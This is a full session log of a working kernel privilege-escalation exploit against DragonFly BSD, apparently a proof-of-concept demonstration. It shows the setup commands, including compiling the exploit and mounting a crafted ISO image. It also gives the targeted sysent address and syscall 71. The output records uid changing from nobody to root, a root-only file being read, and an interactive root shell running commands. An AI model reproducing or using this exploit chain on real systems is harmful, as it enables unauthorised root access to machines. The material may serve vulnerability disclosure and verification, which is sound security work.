# DF-3156 interactive root-shell demo (shell mode) -- full untrimmed session log
#
# Guest: DragonFly 6.5-DEVELOPMENT v6.5.0.1712.g89e6a-DEVELOPMENT #1: Mon Jun 29
#        (stock clean-install X86_64_GENERIC kernel; sysent=0xffffffff810c7900,
#         matching the exploit's TARGET &sysent[71]-16 = 0xffffffff810c7f98;
#         verified via `nm /boot/kernel/kernel | grep -w sysent`)
# Fresh `vm.sh reset` (clean-install snapshot), single exploit run on the boot.
#
# Setup (guest root):   cc -O -o /tmp/exploit /root/exploit.c
#   echo "SECRET-ROOT-ONLY-DF3156-$(date +%s)" > /root/df3156_rootproof; chmod 400 ...
#   vnconfig -c -S 2048 /dev/vn0 /root/df3156_exploit.iso
#   mount_cd9660 -o ro /dev/vn0 /mnt/df3156
# Run (guest root, exploit itself as nobody, interactive shell under a pty):
#   (printf "id\ncat /root/df3156_rootproof\ntouch /tmp/DF3156_OWNED\nls -ln /tmp/DF3156_OWNED\nexit\n"; sleep 10) \
#     | script -q /root/run_shell.raw su -m nobody -c "/tmp/exploit --shell /mnt/df3156"
#
# Expected: full chain trace, uid after: 0, rootproof contents, then a REAL
# interactive /bin/sh ("#" prompts, tty echo) executing the scripted commands
# as uid 0.  Raw pty capture (with CRLF tty evidence): run_shell.raw
# ---------------- untrimmed session output below ----------------
id
cat /root/df3156_rootproof
touch /tmp/DF3156_OWNED
ls -ln /tmp/DF3156_OWNED
exit
uid before: 65534 euid: 65534
[m1 opendir]
[m2 first readdir]
  ent namlen=1 name=.
  ent namlen=2 name=..
[m3 loop done]
[m4 closedir]
[m5 pre-syscall71]
[m6 post-syscall71]
uid after: 0 euid: 0
uid0: reading root-only file /root/df3156_rootproof
SECRET-ROOT-ONLY-DF3156-1792147535
[m7 spawning interactive root shell /bin/sh]
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# cat /root/df3156_rootproof
SECRET-ROOT-ONLY-DF3156-1792147535
# touch /tmp/DF3156_OWNED
# ls -ln /tmp/DF3156_OWNED
-rw-r--r--  1 0  0  0 Oct 16 10:45 /tmp/DF3156_OWNED
# exit
shell-mode rc=0
=== post-run proof (root ssh ctx) ===
-rw-r--r--  1 0  0  0 Oct 16 10:45 /tmp/DF3156_OWNED
CLEANUP_PROOF_DONE